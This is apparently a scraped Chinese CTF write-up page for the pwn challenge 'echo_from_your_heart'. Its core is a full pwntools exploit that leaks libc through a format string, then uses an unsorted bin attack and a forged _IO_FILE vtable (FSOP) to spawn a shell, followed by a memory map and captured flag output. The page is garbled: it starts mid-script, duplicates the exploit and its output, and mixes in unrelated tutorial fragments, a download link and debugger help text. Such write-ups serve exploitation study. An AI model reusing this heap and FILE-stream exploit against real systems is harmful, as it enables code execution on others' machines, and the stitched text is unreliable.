possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main()
执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...